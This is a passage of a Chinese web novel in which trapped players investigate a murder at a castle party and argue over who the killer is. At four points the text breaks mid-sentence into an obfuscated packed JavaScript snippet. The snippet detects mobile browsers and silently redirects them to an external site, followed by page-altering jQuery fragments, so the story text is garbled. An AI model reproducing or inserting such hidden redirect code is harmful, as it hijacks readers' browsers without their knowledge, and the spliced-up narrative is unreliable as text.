花与酒带着人走了,只留十三名玩家各自思考。 “大家,咱们都别理会这个游戏,”司雪主动站出来,缓和气氛,“要是无人参与,时间一长,他们肯定放我们离开,到时候咱们都能平平安安,你们说呢?” 秦意月是她的朋友,第一个点头表示同意。 带着金丝框眼镜的石子嘉道:“不是要开Party吗,我们去哪儿玩?” 这种时候,他居然还惦记着Party。 “都怂了啊?”莫西干头闫志涛翘着二郎腿,不屑地笑,露出难看的深黄色牙齿。 司雪连忙道:“要是大家还愿意一起玩,我们就去隔壁吧,我来的时候顺便看了一眼,那边的空间更大,还有露天的大阳台。哦对了,要是有朋友想休息,也可以离开的,不用勉强。咱们主打一个自愿嘛!” 经过刚才那么一遭,柏峰肯定是不愿意的,其他人都同意了。 城堡的男仆和女佣送来开派对需要的东西,并告诉大家,附近有冷藏库,库中有食物,有需要可以自行拿取。 “要吃点什么,我去给你拿。”祁迎风问尤烟。 “随便。” 祁迎风无语,他就知道。 祁迎风去拿吃的了,尤烟一个人坐在阳台的角落,背对室内的人。 尤烟对派对和交朋友不感兴趣,她留下来,纯粹是为了熟悉环境和玩家。 司雪的想法太天真,十几个玩家,不可能人人都和她一样善良,说不定这个时候已经有人开始算计如何杀人了。 再说了,城堡主人花费这么多心思和金钱,怎么可能让自己的游戏进行不下去? 这次的玩家人选,估计都是堡主精挑细选出来的。 “Hello!”司雪端着烤肉来到尤烟的身边,递给她,“刚烤好的五花肉,尝尝?” 尤烟接过:“谢谢。” “不客气。你怎么一个人坐在这儿呢,要不要一起去?”司雪以为尤烟不擅长打交道,在别人都忽视尤烟的时候,特意给她送了一盘烤肉。 “不用。” “那我先过去啦。对了,如果需要帮助,随时来找我哦!”看出尤烟是自己想远离人群之后,司雪不打扰她了。 “嗯。”尤烟停顿一下,说,“别一个人乱晃。” “什么?”司雪愣了愣,反应过来,笑道,“我知道啦,谢谢你关心我。” 司雪走了,在很嗨的人群中心开朗地聊天,像小太阳一样,轻轻松松成为中心。 二十分钟后,祁迎风回来了。他一手一个盘子,一边是干食,另一边是饮料。他挺会选,烤肉蔬菜水果甜点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449006|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,啥都来了点。 “你什么时候去拿的?”看到尤烟旁边的一盘烤肉,祁迎风不由问。 “司雪端来的。” “你怎么一口都不吃?”祁迎风坐在她旁边,“怕人家下毒啊?” “她不被人下毒就不错了。” 祁迎风大口吃肉:“看来你对她评价挺高的。” 尤烟看人准,她说那种话,言下之意,不就是认为司雪是个善良但略微单纯的人? 恰在这时,褚河也出来了,他换了身休闲服,和尤烟一样,也穿了拖鞋。褚河本来戴着头戴式耳机,看到尤烟和祁迎风,将耳机取下,挂在脖子上。 “你们怎么出来了?”褚河走过去,坐下。 尤烟全程盯着他的拖鞋。纯黑色的,普通款式,不过材质很好。 祁迎风注意到尤烟的眼神,在心里扶额。 大小姐没别的兴趣,就是喜欢买舒服的拖鞋穿。 他敢说,离开克修克尔城堡后,她肯定要买褚河的同款。 “你不也出来了?”尤烟问,“你拖鞋在哪儿买的?” “嗯?”褚河一听,笑出声,“你不会想买同款吧?” 尤烟点头。 祁迎风这下直接伸手扶额了。 他就知道。 “等离开城堡之后,我送你一双。”褚河说。 “好。”尤烟还真答应了。 闲聊一段时间后,褚河不着痕迹地将话题带到了克修克尔城堡上。 褚河问:“花与酒的话、这场游戏,你们怎么看?” 祁迎风不答反问:“你怎么总逮着我们讨论?” 感情铺垫那么多,褚河只是想来问这个吧? “我觉得我们才是一类人。”褚河耸了耸肩,“并非我狂妄自大,只是,我不认为和其他玩家商量这些事,能得到有意义的结论。” 司雪?思想有点单纯;秦意月?太内向了;蒋容?看着不太聪明;柏峰?算了,这位都吓尿了,放过他吧…… 事实上,除了尤烟和祁迎风,褚河还跟娄祎聊过。 那位不苟言笑的女士不喜说话、十分警惕,丝毫不跟褚河透露个人想法,和盾一样无懈可击。 “胜者只有一人,这种零和游戏,我们不打算参加。”祁迎风说。 最重要的是,他是来找人的,不想在别的方面花太多心思。 然而,尤炫下落不明,他们与外界断了联系,花与酒不放人离开……不知不觉中,尤烟和祁迎风已经掉入了陷阱。 褚河正要说话,房间里面突然变得躁动。 三人纷纷看向屋内。 “你说什么?!这不可能!”蒋容尖声道,“司雪怎么可能会死!一定是你看错了!” “是真的,”报信人邓有利的心脏狂跳不已,他擦了擦满头的冷汗,颤道,“司雪不是说去冷藏室找鹿肉吗,我瞧着这都过去五十多分钟了,她还没回来,就去那边找人,结果……结果在冷藏室看到了她的尸体。” 秦意月吓得脸全白,起了一身鸡皮疙瘩:“怎么,怎么会这样……” 大学生石子嘉站出来,提议道:“我们要不先去现场看看?” 邓有利道:“你们真的要去看吗?” 他环视一圈,几乎每个人都满脸恐惧,生怕自己就是下一个死者。 石子嘉推了推眼镜,说道:“司雪的死,告诉我们这场游戏已经开始,如果不按花与酒说的做,我们也会因没有找到凶手而死,所以,我认为我们有必要去现场查看情况、搜寻证据。” 现在是凌晨零点过几分,他们只有不到十个小时的时间确认凶手。 石子嘉的话在理,即使许多人再不情愿,也拖着沉重的脚步前往冷藏室。 尤烟等三人一直待在阳台,不受关注,因此那些人忘了喊上他们。 “要去看看吗?”褚河神情淡然,与那些惊慌失措的人截然相反,似乎一点儿都不在乎这场荒唐的游戏。 尤烟站起身往外走,用动作回应褚河。 5. 怀疑 冷藏室有两个,司雪死在了2号冷藏室里。 褚河走向2号冷藏室的门口,双手环胸,靠在门边。 秦意月鼓起勇气看了一眼血泊中的司雪,吓得赶紧移开目光,白着一张脸缩在角落啜泣。 她不明白,明明前不久司雪还在她的身边,为何再见时,司雪变成了一具没有生气的、冰冷的尸体? 她们……是不是不应该参加这场游戏? “要我说凶手肯定是蒋容,绝对!”光头杨一旭大步走到蒋容的跟前,抓住她的手举起来,恶狠狠道,“这女的当时问花与酒那种问题,一看就不是什么好东西!” 所有人的目光汇聚在蒋容身上,让她恨不得钻进地缝:“不是,不是我……” 石子嘉问:“大家还记得派对期间有谁离开过房间吗?” 冷藏室离房间有一定的距离,要是知道有谁消失过一段时间,并且与司雪不在的时间重合,那么很快就能找到凶手。 他只是个大一新生,淡定的模样比在场的许多社会人士还像个大人。 “当时各玩各的,谁会注意这些啊!”杨一旭道,“反正我觉得就是蒋容,你们都给我跟票。” 跟票…… 这人还真当这是游戏啊…… 石子嘉严肃道:“大叔,如果指错凶手,死的就是我们了。” 杨一旭一噎。他丢了脸,为了转移别人的注意力,东张西望,然后指向尤烟等人:“那三个人一直不在房间里,肯定是他们。哦对了,还有柏峰,柏峰完全没参与派对,他也有嫌疑!”他越说越觉得自己是对的,一脸沾沾自喜。 祁迎风不得不解释:“我们一直在阳台,没离开过房间,怎么可能是凶手?另外,如果大家愿意相信我们,请全部回屋,把调查一事交给我们。” 祁迎风的父亲是侦探世家尤家的管家,他随父亲生活在尤妙庄园,耳濡目染,了解不少相关知识,也能独立处理一些简单的案子。 再说了,就算他不行,不是还有尤烟吗? “我凭什么相信你们?万一你们三个是一起的,我们岂不是全完了?”杨一旭不服。 闫志涛嗤笑道:“不都是普通人么,你们可以调查,我们就不可以了?” 闫志涛是石子嘉的同学,二人是高中好友。 杨一旭见有人跟自己统一战线,立即又道:“就是,别在这儿装逼。要调查就一起调查。我们才不相信你们。” 祁迎风一时无言。 按正常流程,凶杀案现场会被警戒线隔开,由专业人士进行调查,偏偏现在一点儿都不正常。 石子嘉见双方要吵起来了,连忙道:“现在不是争吵的时候,我们的时间不多了。如果都想调查,我们不如兵分两路,这样效率也快一些。” 祁迎风还想说点什么,尤烟已经走进了2号冷藏室。 杨一旭口嗨,真要搞起调查,他根本不敢进死过人的地方,因此他并没有跟进去。 见尤烟默许石子嘉的提议,祁迎风也不多说了,联系花与酒,找他借解剖工具。 游戏方提供一切服务,除了说明谁知凶手。 石子嘉让人跟着自己去找监控,其余人不知如何是好,在两处来回游荡。 司雪的尸体离门口很近,小刀离她却有一定的距离。也许司雪被捅了之后并没有当场死亡,而是尝试爬出冷藏室呼救,可惜到底晚了一步。 冷藏室的温度只有3℃,司雪的血液早已凝固,扩散范围不如常温状态下那么大。 祁迎风戴上橡胶手套,检查司雪的尸体。 尤烟在2号冷藏室里慢悠悠地走走停停、仔细观察,不放过任何一个角落。冷藏室里放了一排排的肉类,品类丰富,应有尽有。 “检查完了之后,把门把手上的指纹采集一下。”注意到祁迎风在收尾时,尤烟适时说。 “啊?”祁迎风愣了愣,“门把手上有指纹?我怎么没注意到。” “检查结果如何?”尤烟转移话题。 “初步判断,司雪因腹部被捅了一刀,失血过多而亡。”祁迎风道,“我一会儿回去给你画个图。” “好。” 祁迎风拿衣服裹好司雪,将其抱走。 褚河从始至终都靠在门把手边,看尤烟和祁迎风忙前忙后,也不问需不需要帮忙。 事实上,他在那站着当门神就算帮忙了。 因为,当尤烟经过褚河身边、进入冷藏室时,她特意看了门一眼,并且敏锐地注意到门把手上有很浅很浅的指纹。 只能说,冷藏室太干净了,很容易留下痕迹。 估计褚河也发现了这一点,所以才一直站在那儿,免得有人有意或无意地破坏这条线索。 褚河含笑:“你的观察力真强。” 尤烟象征性礼貌地“嗯”了一声。 褚河的观察力不比她差。 不多时,祁迎风借来指纹采集的设备,录入指纹数据。 “没想到还真有。”祁迎风感慨,“你眼力也太强了吧。” “你俩要是没别的事,去采集其他玩家的指纹吧。”尤烟喜静,想一个人安安静静地待在这儿。 “行。”祁迎风点头。 “好啊,我还担心我帮不上忙呢。”褚河笑盈盈地答应。 等二人走后,尤烟继续认真观察冷藏室,连缝隙都要凑近看。 这时,一个戴着黑色圆框眼镜的瘦小女生悄悄走进冷藏室,一步步靠近尤烟,没有发出一丝一毫的声音。 尤烟正在一个角落翻找着什么。 她让司雪不要一个人溜达,自己当然也会注意这一点。 她听到身后传来了轻微的脚步声。 不急。 还差一点就能摸到藏在这个角落里的手机了。 尤烟侧过身体,手够着了。 也正是这么一侧身,女生被尤烟发现了。 女生立即举起手。 “嗨。”女生打了个招呼,友善地笑。 尤烟摸到了一部手机,盯着女生看了半天,才反应过来她这是在跟自己打招呼:“有事?” 来者是蒋容,被杨一旭怀疑是凶手的人之一。 蒋容突然出现在这个地方,不在外面打招呼,走近了才着急忙慌地伸手,怎么看怎么可疑。 “我被杨一旭怀疑是凶手,心里着急。啊,我没有责怪他的意思,我能理解的,都怪我,不该问花与酒那个问题……我,我是想来问问,有没有需要我帮忙的地方?”蒋容道。 “没有。” “那个……我能问问你在找什么吗?” “手机。”尤烟掏到手机了,站起身,低头看蒋容。 尤烟不算高,一米六三,不过比一米五的蒋容高一些。 “这里怎么会有手机?”蒋容惊讶。 “不知道。”尤烟按了开机键,然而手机已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449007|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经关机了。 看外表,这应该是一部备用机。手机并没有太多灰尘,不像是在角落里放了很久的样子。 蒋容问:“我能看看吗?” “不能。” 蒋容笑容一僵,然后说:“没关系,我理解,毕竟我被你们都怀疑了。那个,尤烟,你叫尤烟对吗?你,你是不是也怀疑我?” 尤烟不是很想跟蒋容讨论这种没有意义的话题,走到其他地方继续检查。 蒋容不死心,紧紧跟在尤烟的身后。 尤烟浑然不在意,仿佛后面没人。 到目前为止,2号冷藏室检查完毕,接下来,尤烟打算去1号冷藏室看看。1号冷藏室离2号冷藏室不远,往前走,拐个弯,再走几步路就到了。 “为什么还要去1号冷藏室?”蒋容不解,满脸困惑。 尤烟懒得解释,不回应又显得自己没礼貌,过了十几秒,终于想好敷衍的话:“感觉。” 蒋容扭捏半天,终于开口:“我,我突然想起一个事,对你破案应该很有帮助。” 尤烟停步,站了一会儿,转身看她:“什么?” “在派对期间,我看见秦意月离开过房间。” 尤烟思考。 蒋容以为尤烟不信任自己,当即补充:“我刚刚不是不想说,只是,我被怀疑了,我很害怕,完全没想起这回事儿。” 因紧张恐惧而忘记某些细节,很正常。 尤烟问:“她大概是多久离开的?” “十二点半左右?”蒋容也不确定具体时间。 “哦。” “我是不是可以摆脱嫌疑了?”蒋容期待地问。 “不是。” 蒋容失望。 …… …… 褚河和祁迎风一人一半的工作量,速度很快。 祁迎风这边就差柏峰了。 柏峰在花与酒那儿受了极大的惊吓,按理来说,在这场事件中,他几乎没有插手的心思,但,不怕一万就怕万一,保险起见,祁迎风还是打算走这一趟。 柏峰是个好面子的人,他在人前丢了脸,这会儿谁都不想见,祁迎风好说歹说他才放人进来。 柏峰怒道:“这事儿跟我有什么关系,采集我的指纹干什么?啊?你有工作证吗?” 在外面,没有人可以不走正当流程而采集别人的信息,但是在这座城堡里可以。 祁迎风耐心道:“事态紧急,请柏先生配合一下。” 柏峰冷哼一声,没再说话。 于他而言,在这场游戏中,能多死一个人就多死一个。如今司雪死了,若是眼前这人真能找到凶手,那么凶手就会被处死。 既然游戏已经开始,那他一定要活到最后。 城堡里的一切都应该是他的。 “柏先生没出过门吗?”祁迎风适时闲聊,尝试套话。 “没……不对,我出过一次。”柏峰挠了挠地中海,“差不多快凌晨的时候吧,我还看到有人从冷藏库离开来着。” “谁?”祁迎风当即抬头看柏峰,问。 录指纹的过程中,祁迎风就这个问题问了每一个人,但他们都说没注意过这一点,想不到反而是柏峰这个没参会的人碰到了。 柏峰仔细回忆:“我忘了叫什么了,就是那个最矮的人,穿的绿衣服白裤子。” 祁迎风心里一“咯噔”。 是蒋容。 6. 线索 “能再详细说说吗?”祁迎风追问。 “不能。”柏峰被问多了,逐渐不耐烦,“我看到她关掉冷藏库的门,然后离开。就这些,没别的了。” 祁迎风站起身,点点头:“我知道了。谢谢柏先生提供的情报。” …… …… 尤烟在1号冷藏室也发现了一部备用机,而且同样没电了。 蒋容紧张地问:“这里怎么也有手机?” 尤烟被蒋容缠得有些烦了,不想理她,把手机收好,再检查一遍冷藏室,确认没有更多的线索后,返回房间,甩开蒋容。 …… …… “我录完了,你那边呢?”祁迎风找到褚河,问情况。 “就差蒋容了。” “她……”祁迎风想起柏峰说的话。 “怎么了?”褚河侧首看他。 “没什么,你录吧,我去找尤烟。”祁迎风想把自己获得的信息尽早转告尤烟。 …… …… 尤烟翻找到合适的充电线,将在冷藏室找到的两部手机充上电。 看成色,这两部手机使用已久,不过保养得很好,没有什么明显的划痕、裂纹。 还有一个相同点,这俩都是蓝墨手机。 综上,尤烟有理由认为这两部手机同属于一个人,甚至可以看出那个人习惯于用同一品牌的手机。也就是说,若知道谁还在使用蓝墨手机,就能确定这两部手机是谁的。 思及此,房门被人敲响。 “是我。”祁迎风的声音传入。 尤烟开门,让人进来。 祁迎风边进屋边道:“柏峰说,快十二点时,他在冷藏室附近看到过蒋容。” 尤烟挑了挑眉。 “司雪的尸检报告。”尤烟说。 “我口述吧。”条件有限,祁迎风没法给她搞来正规的文件和图像,“考虑到温度等因素,我初步判断,司雪死于今日的十一点到十二点。” 时间范围一般不会这么准确,但司雪从死亡到被发现尸体的时段不长,稍作排除就可以得出这个结果。 蒋容说秦意月于十一点半左右离开了派对,柏峰又说蒋容在快十二点时经过冷藏室。 照这么看来,秦意月的嫌疑比蒋容还大。 毕竟,杀人是需要时间的。 目前只有尤烟和祁迎风知道尸检结果,蒋容和柏峰很难在这种情况下乱讲时间,也就是说,这二人撒谎的几率不大。 难道蒋容真是被冤枉的? “还有一件事,”祁迎风递给尤烟一张图纸,“司雪的伤口图。” 这是祁迎风手绘的三视图,他有一定的功底,图示清清楚楚,看着并不费劲。 凶器是一把上短下长的弧形水果刀,所以造成的伤口也是上短下长。仔细看,伤口比较平,还很深。 尤烟看着三视图,脑里已经对这次的案件有了初步判断。 接下来,就看这部手机里藏着什么秘密了。 祁迎风总算注意到旁边的手机,指着问:“你从哪搞来的?” 尤烟盯着他看了半天。 遇到这种情况,别人都要笑话尤烟反射弧长,只有了解她的人才知道,她纯粹是不想说话,要么在思考是否要回答对方的问题;要么在脑海里组织语言,试图减少要说的话。 祁迎风习惯了,等尤烟慢慢想。 “冷藏室找到的,可能是嫌疑人留下的。”尤烟说。 “能开机了不?” 尤烟长按。 开机的音乐响起。 可以了。 “指纹比对结果呢?”尤烟问。 刚问完,门又被敲响,这次是褚河。 祁迎风开门,褚河拿着一沓纸质报告走进来,说自己去找花与酒借了设备,然后有了这些打印出来的清晰指纹。 “2号冷藏室门把手上的指纹是蒋容的。”褚河直奔主题,“小刀上没有指纹。” 此话一出,新的疑点又冒出——如果凶器上没有指纹,门把手上又怎么会出现指纹?凶手不可能刚杀了人就脱手套吧? 正说着,两部手机都开了机。 手机是因为没电才关机的,一开屏便出现一段采访视频,主人公正是死者司雪。 视频中,司雪正在接受一段采访,听内容,应该是她荣获了一个含金量很高的奖项,然后发表获奖感言。 “哦,”褚河靠在沙发上,姿态松散,“原来是这样。” 祁迎风瞥了他一眼。 这又不是他家,他怎么能这么随意自在。 尤烟关了手机,说:“就这样吧。” 祁迎风眨了眨眼睛:“啊?你们都看出来谁是凶手了?” 褚河笑了笑:“祁先生应该也看出来了吧?” 祁迎风皮笑肉不笑。 他不是没看出来,只是暂时没看出来。都怪线索太散,加上忙了几个小时,他的脑子变得糊涂。等他休息一下,捋一捋思路,肯定能看出其中的玄机。 嗯,一定是这样。 “五点多了,我先回去休息了。”褚河站起身来。 找线索并不是一件容易的事情,接连几小时的高度集中让所有人都身心疲惫。 按照花与酒的话,十点钟进行凶手指认环节,他们还可以睡三四个小时。 尤烟还能熬,等褚河和祁迎风走了以后,洗漱完躺在床上,吃着汉堡喝着可乐看动漫,硬是熬到八点钟才睡。 …… …… 九点五十,尤烟被敲门声惊醒。 尤烟在床上坐了半天,终于反应过来,自己已身处国外,并参加了一个莫名其妙的杀人游戏,而她昨晚刚找完线索,确认凶手。 三分钟后,尤烟总算离开床,迅速洗漱,出门与人汇合。 “你几点睡的,黑眼圈这么浓。”祁迎风时不时侧首看一眼尤烟,生怕她摔倒,“都跟你说了,能早点睡就早点睡。” 尤烟的脑袋一点一点,随时有可能睡着。 褚河跟在二人后面,见状,不由戏谑:“小熊猫要是睡着了,一会儿可就凑不成热闹了。” 尤烟自顾自走路,谁也没理,更没有注意到祁迎风转头瞪了褚河一眼,而褚河好笑地摇摇头。 一名男仆带着众人进入二楼会议室。 会议室很大,堪比一个小型斗牛场。和城堡其他地方一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449008|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,会议室装潢华丽,墙壁挂着许多有浓厚宗教味道的油画,四处放着西欧风格的摆设。 会议室中间有一个空心圆会议桌,十三个座位,其中一个放了司雪的遗照。 “很好,大家都准时到了呢!”花与酒从台阶上走下,敞开双臂,殷切笑道,“请坐,请坐!接下来,我们就要进入指证凶手的环节了!” 桌子上有铭牌,玩家们根据铭牌找到自己的座位。 尤烟的左边是褚河,右边是祁迎风。 “现在,大家可以指出自己认为的凶手,经过讨论后,再票出最终凶手人选。”花与酒坐在方形宝座上,端庄地坐好,阴笑道。 尤烟垂眼。 游戏方把人命当游戏,真是荒唐。 可,她也在不知不觉中入了此局,变得被动。 只能走一步看一步了。 “我认为是蒋容!”杨一旭不忘自己的观点,“我跟石子嘉讨论过了,认为蒋容最有动机。这二人是高中同学,蒋容嫉妒同学过得比自己好,所以趁机杀了司雪。” 蒋容惊慌失措:“不是我!我没有嫉妒司雪,我把她当成好朋友!” 杨一旭道:“如果不是你,那你说是谁?” 柏峰适时插嘴:“我看到你路过冷藏室,你肯定是那个时候杀了司雪。” 杨一旭一听这话,更来劲了,步步紧逼:“什么,原来你还偷偷去了冷藏室?要是问心无愧,你为什么不主动说出来?!” 蒋容急得焦头烂额,但又拿不出实质性的证据证明自己。 “我昨天跟秦意月聊过,”石子嘉扶了扶眼镜,看向蒋容,仿佛要宣判她有罪,“她说,在高中时期,你跟司雪有过矛盾。” 尤烟静静地等这些人争论,顺便清醒头脑。 她懂石子嘉的意思,石子嘉无非是认为蒋容有杀人的念头。 不管是矛盾、嫉妒,还是昨日问花与酒的那个问题,都把蒋容推向凶手的位置。 但,仔细想想,除了这些抽象的“动机”,石子嘉等人并没有具体的线索和物证。 很难想象,要是就这么把蒋容推出去,第一轮得死多少人、游戏得有多快结束。 “所以,大家都认为凶手是蒋容吗?”花与酒的十指交叉,歪头看着十二名幸存的玩家,问道。 “确定!”杨一旭嚷嚷。 “我也投她一票!”柏峰举起手。 接着,石子嘉、闫志涛、郁渚飞和秦意月陆续举了手。 十二人,一旦票数过七,第一轮就将结束。 玩家的生死全部被放在了命运之盘上,等待指针的降落。 褚河安然坐着,无动于衷。 祁迎风有些着急,频频看向尤烟。 尤烟在众人瞩目下举起手。 花与酒含笑:“这么一来,票数过半,那么……” 尤烟打断他:“凶手不是蒋容。” 她举手是为了发言,才不是投票。 “哦?”花与酒挑了挑眉,“那你认为是谁?” 尤烟看向对面,她的对面是司雪的遗照。 尤烟目光左移,停留在秦意月的身上。 “她。”尤烟指着秦意月。 7. 凶手 在几乎要下定论的瞬间,尤烟一句话,让整口锅都炸开了。 “你胡说八道什么,别乱指人,要是指错了怎么办?!”杨一旭一副要揍人的模样,“普通人添什么乱?” 石子嘉也道:“是啊,所有证据都指向蒋容,你突然说凶手是秦意月,不合适吧?我们所有人的命运都在这场投票中了。” 秦意月被点名,心惊胆战,脸又白了,和昨日受惊后一模一样。 秦意月是个内向的人,从最初自我介绍就能看出,这样的人,真的能在杀了人之后不露破绽吗? “证据……”尤烟沉默几秒,组织语言,反问,“你呢?” 石子嘉没理解她的意思:“我什么呢?” 一旁的褚河随口扩句:“你又有什么证据呢?” 祁迎风强行改句:“你呢,你有证据吗?” 石子嘉:“……” 什么跟什么,他俩在上语文课吗? 柏峰是个暴脾气的,听不得这些复杂的话:“我管你们投谁,赶紧把道理讲清楚,老子可不希望第一轮就出事。” 石子嘉坚定道:“我认为是蒋容。还有人要跟票吗?” 目前,柏峰、杨一旭、闫志涛、郁渚飞、秦意月和石子嘉都认为蒋容是凶手,只差一票,他们就能知道结果了。 石子嘉对自己很有信心。 他一边想,一边看向邓有利。 尤烟、褚河和祁迎风三人一看就是一伙人,蒋容不可能投自己,娄祎跟个局外人似的,石子嘉只能把希望放在邓有利身上。 “我……”在局势不明的情况下,邓有利很难随意投出关键的一票。 “十一点十几分时,司雪去冷藏室拿肉,”尤烟不疾不徐道,“秦意月趁人不注意,跟上去,杀了司雪。” 秦意月急得流泪,脸从白变红:“你,你不要胡说。” 她现在的状态,简直像一朵受了伤的小白花,楚楚可怜。 尤烟不在乎这些,把装在塑料袋里的水果刀和手机放在桌子上,自顾自说:“凶器、辅助工具。” 看到这两样东西,不仅秦意月,蒋容的脸色也变了。 “手机被人藏在冷藏室的角落,循环播放着司雪获大奖的采访视频,没电后自动关机。”所以,尤烟一打开就能看见这条视频。 这两部手机的主人还算谨慎,将手机默认了出厂状态,只留了这条视频。 石子嘉皱眉:“你想表达什么?请不要过于发散思维,转移目标,这对我们找出凶手没有好处。还有,在冷藏室找到两部旧手机,你不觉得这话有点可笑吗,万一你在骗我们呢?” 尤烟没说话,看向蒋容。 当时是蒋容盯着尤烟把手机翻出来的。 蒋容被认为是凶手,性命岌岌可危,这时候哪里还有心思考虑其他方面,连忙跳出来作证:“我可以证明,这是她在1号和2号冷藏室找到的。” 她想,反正尤烟指认的凶手是秦意月,那她跟着尤烟的思路走就对了。 石子嘉道:“你是嫌疑人,你的话不算数。还有尤烟,如果你继续胡言乱语,我会认为你才是凶手,你想让我们误会秦意月,票她出局,这样一来,我们都会死,你就成了最后的玩家。” 尤烟沉默很久,花了十几秒才理解石子嘉的脑回路,然后在心里放出一串省略号:“……” 本以为这个大学生挺淡定机敏,结果给她整这一出? 她要想独活,票秦意月跟票蒋容有区别吗? 服了。 祁迎风抓了抓脑袋,想不明白:“小兄弟,你怎么就是不愿意听听别人的意见呢?” 这孩子,太固执了吧。 “你说是秦意月,那你倒是给出实际的证据啊,你以为这是推理游戏,只靠嘴说吗?”石子嘉盯着尤烟,霸道道。 尤烟忍不住想,她看起来很好欺负吗? 石子嘉对其他人都蛮客气的,怎么对她这么凶? 尤烟长长地叹了一口气,继续说:“昨晚十一点半,秦意月被发现离开派对,这与司雪的死亡时间对得上。”说罢,她拿出尸检报告,传递出去。 大家忽略专业术语,直接看结果。 闫志涛第一个动摇:“这玩意儿看着还挺严谨。”问尤烟,“你是干这方面工作的人员?” 尤烟想了想,没否认:“算吧。” 这方面的工作有更专业的人士进行,尤烟不算专家,但比起闫志涛等人,尤烟的知识量绝对足够。 当然,这些详情她才懒得说。 “我暂时收回我的票。”闫志涛把报告传给下一个人,靠在椅子上梳自己的莫西干头。 花与酒道:“当然可以。” 这下,只有五个人票蒋容了。 就目前来说,蒋容和秦意月的票数是5:3,蒋容依然危险,非凶手玩家也依然危险。 “志涛,你……”石子嘉没想到好友会反对自己。 “关乎到我的命,我当然得小心点。”闫志涛白了他一眼,“听她接着说吧。” 尤烟将手机开机:“秦意月和司雪是队友,但司雪各方面都优秀于秦意月,所以秦意月养的营销号经常黑司雪,”这一点是尤烟找邓有利问的,邓有利对娱乐圈略知一二,“秦意月想对付司雪,不是一天两天的事,这次游戏是很好的机会,她抓住了。” 秦意月的胸腔剧烈起伏,努力压抑着内心的情绪。 在场的人看看秦意月,又看看尤烟。 “秦意月戴上手套,用提前准备好的水果刀刺杀司雪。看图。”尤烟拿出新证据,“司雪腹部的致命伤口较平,从人体用力习惯、站位、角度等方面考虑,凶手和司雪的身高应该差不多。” 这就直接排除了蒋容。 司雪一米六八、秦意月一米六七、蒋容一米五。 倘若是蒋容杀人,伤口会从内往外倾斜,因为蒋容杀人后肯定很害怕,在这种情况下,她举刀的手会不受控地被重力往下拉,然后才能拔出刀;而秦意月拔刀,只需要直接收手。 “我,我没有,我没有……”秦意月瞪大眼睛,喃喃,额头上的筋“突突”跳,随时都有可能因压力爆发而崩溃。 柏峰轻咳一声,眼睛往上看,假装不在意地道:“那我也收个票,投秦意月吧。” 杨一旭趁机跟票:“我投秦意月。” 郁渚飞偷偷瞄了一眼石子嘉,见他神情愤怒,没有吱声。 既然都投秦意月,那少他这一票也没关系吧。 经过新一轮的投票,蒋容和秦意月的票数比来到了3:5。 “我认为你的逻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449009|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辑链还不够完整。”石子嘉不愿承认自己技不如人,冷着脸道,“我问你,这两部手机是谁的,扮演了什么样的角色?还有蒋容,柏峰说凌晨看到过她,她为什么会出现在那里?” “手机是蒋容的,手机里的视频内容用于刺激秦意月杀人。”尤烟回答。 “尤烟!”蒋容听到自己又被牵扯进去,刚松下的气又提起来了,“你在说什么呢,不是我!你们投我,你们也会死的!”她委屈极了。 “使用蓝墨手机的只有你和邓有利。邓有利不用手机壳,且他的手机屏幕碎了;你对手机很爱护。”尤烟用手指点了点面前的两部手机,“这两部手机,蓝墨的,从使用习惯来看,只有可能是你的。” 当听到自己名字的时候,邓有利吓了一跳,差点以为自己也成嫌疑人了。 邓有利平复情绪,盯着手机,说:“我大学室友是数码区的博主,对蓝墨手机有一定的研究,我也跟着研究过一段时间。如果我没记错,这两部手机,一部发行于六年前,一部发行于三年前。蒋容现在用的这部手机,去年年底才上市。” 换手机的间隔时间说明不了什么,但手机上市的间隔时间却可以。 一般人不会经常换手机,除非用了很久,或者手机有一定的故障。恰巧,这两部蓝墨手机都有较为严重的卡顿现象。 简单来说,手机出故障后,蒋容更换了新手机,保留了老手机备用。 这是寻常人的习惯,蒋容也不例外。 